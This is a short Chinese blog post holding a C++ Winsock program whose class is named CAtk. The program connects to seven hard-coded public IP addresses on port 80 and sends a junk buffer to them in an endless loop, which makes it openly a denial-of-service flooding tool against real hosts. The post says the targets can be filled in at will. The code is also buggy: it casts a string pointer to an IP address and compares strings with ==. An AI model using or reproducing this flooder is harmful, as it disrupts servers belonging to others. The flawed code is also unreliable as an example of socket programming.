填IP那个就算是接口式开发,这回随便填

///////////////////////////////////////////////////////////
using namespace std;

#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <corecrt_wstdlib.h>
#include <iostream>
#include<stdio.h>
#include <Windows.h>
#include<list>

////////////////////////////////////////////////////////////


class CAtk
{
public:
WSADATA wsd;
list<SOCKET> m_socket;

int retVal;//调用Socket函数的返回值
char buf[200];

 

CAtk() {};
~CAtk() {};

void Init()
{
//初始化Socket环境
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
printf("WSAStartup failed!\n");
}

sprintf_s(buf, "鸟人猪守屎&烫烫&很甜懒子很园 4/0/7 ; *0.0000001f; ;0* ;int 3; & Math_PI;");

inster_List("104.21.42.44");

inster_List("38.12.18.7");

inster_List("150.129.82.170");

inster_List("103.178.56.133");

inster_List("58.217.250.18");

inster_List("47.104.139.74");

inster_List("154.29.148.11");
};


void inster_List(const char* IP)
{
if (IP == "")
{
return;
}

SOCKADDR_IN ins;
ins.sin_addr.S_un.S_addr = (ULONG)IP;
ins.sin_family = AF_INET;
ins.sin_port = htons(80);

SOCKET soc;
soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(soc, (LPSOCKADDR)&ins, sizeof(ins));

if (INVALID_SOCKET == soc)
{
printf("socket failed!\n");
return;
}

m_socket.push_back(soc);

};


void loopSend()
{
list<SOCKET>::iterator it = m_socket.begin();

AS:
if (it == m_socket.end())
{
it = m_socket.begin();
}

send(*it, buf, 200, 0);

it++;

goto AS;


};
};


CAtk g_atk;

int main()
{
g_atk.Init();

//循环发送阻塞数据
g_atk.loopSend();

return 0;
};

posted on   草丛有头猪  阅读(2)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

导航

统计

点击右上角即可分享
微信分享提示